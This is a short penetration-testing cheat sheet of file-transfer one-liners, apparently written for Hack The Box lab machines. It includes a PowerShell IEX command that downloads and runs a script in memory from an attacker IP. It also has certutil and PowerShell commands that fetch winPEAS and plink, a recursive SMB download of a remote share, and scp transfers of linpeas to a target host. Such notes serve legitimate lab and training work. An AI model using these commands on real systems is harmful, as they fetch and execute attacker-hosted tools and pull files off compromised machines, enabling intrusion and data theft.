download and execute in memory
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.4:80/winPEAS.bat') | powershell -noprofile -
SMB - recurse file download
smbclient '\\server\share'
mask ""
recurse ON
prompt OFF
cd 'path\to\remote\dir'
lcd '~/path/to/download/to/'
mget *
`certutil -urlcache -split -f "http://<my_ip>:8888/winPEASany.exe" winpeas.exe`
`powershell -c "(New-Object System.Net.WebClient).DownloadFile(\"http://<my_ip>:8888/winPEASany.exe\", \"winpeas.exe\")"`
powershell "Invoke-WebRequest -UseBasicParsing 10.10.14.4/plink64.exe -OutFile plink64.exe"
FROM KALI TO SSH HOST
┌──(root㉿kali)-[~/boxes/boardlight]
└─# scp linpeas.sh larissa@10.10.11.11:.
larissa@10.10.11.11's password:
linpeas.sh 100% 843KB 1.9MB/s 00:00
from ssh host to kali
scp username@remote:/file/to/send /where/to/put